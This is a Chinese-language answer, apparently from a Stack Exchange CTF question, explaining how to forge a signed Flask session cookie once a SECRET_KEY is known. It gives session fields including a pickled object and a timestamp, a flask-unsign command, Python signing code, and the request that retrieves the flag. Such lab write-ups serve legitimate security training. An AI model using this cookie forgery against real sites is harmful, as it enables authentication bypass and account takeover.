如何伪造并编码Flask会话Cookie以获取渗透测试目标站点FLAG
思路正确性判断
你的整体思路方向是正确的,但是遗漏了代码中的一个关键校验逻辑:除了great_mission字段外,你还需要在Session中添加符合要求的verified字段,否则会触发missing security key authentication报错,无法拿到FLAG。
另外你提到的Cookie格式不是标准JWT,是Flask框架默认的签名会话Cookie,你使用flask-unsign工具处理是完全正确的。
如果你已经拿到站点的SECRET_KEY,可以通过以下两种方式生成合法的会话Cookie:
方法1:使用flask-unsign命令行工具(最简便)
首先构造符合要求的Session字典,你可以直接复用现有解码得到的字段,补充两个必填字段即可:
import datetime session_dict = { # 原有字段直接保留,不要修改,避免登录校验失败 '_fresh': True, '_id': 'ac1fcdef2c723257845d917bde568828b61069af207d0677376e397b930a7060528608493f4c965cb3c06c07cdd2345ba49acc56efb1a695515d9c11ec3469ae', '_user_id': '1', 'csrf_token': '1f67b99fd698b9eec3858c818f5722713a31fc4a', # 补充必填字段1:空NewMission对象的pickle序列化结果,可直接使用 'great_mission': b'\x80\x04\x95\x0c\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\nNewMission\x94\x93\x94)\x81\x94.', # 补充必填字段2:当前时间戳,保证满足时间校验规则 'verified': datetime.datetime.now().timestamp() }
将上述字典转为字符串后,执行以下命令生成签名Cookie:
flask-unsign --sign --secret "替换为你拿到的SECRET_KEY" --cookie "替换为你构造的Session字典字符串"
方法2:使用Python代码生成(更灵活)
你可以直接调用flask-unsign的库函数生成Cookie,代码示例如下:
import datetime from flask_unsign import sign # 构造Session数据 session_data = { '_fresh': True, '_id': 'ac1fcdef2c723257845d917bde568828b61069af207d0677376e397b930a7060528608493f4c965cb3c06c07cdd2345ba49acc56efb1a695515d9c11ec3469ae', '_user_id': '1', 'csrf_token': '1f67b99fd698b9eec3858c818f5722713a31fc4a', 'great_mission': b'\x80\x04\x95\x0c\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\nNewMission\x94\x93\x94)\x81\x94.', 'verified': datetime.datetime.now().timestamp() } # 生成签名Cookie secret_key = "替换为你拿到的SECRET_KEY" new_session_cookie = sign(session_data, secret=secret_key) print(new_session_cookie)
最终请求验证
将生成的new_session_cookie填入你构造的GET请求中,即可拿到FLAG:
cs = s.get(url + "control-robot", cookies = {"session": new_session_cookie}) print(cs.text) # 此处输出即为FLAG
内容的提问来源于stack exchange,提问作者R4444
相关产品推荐
相关产品推荐

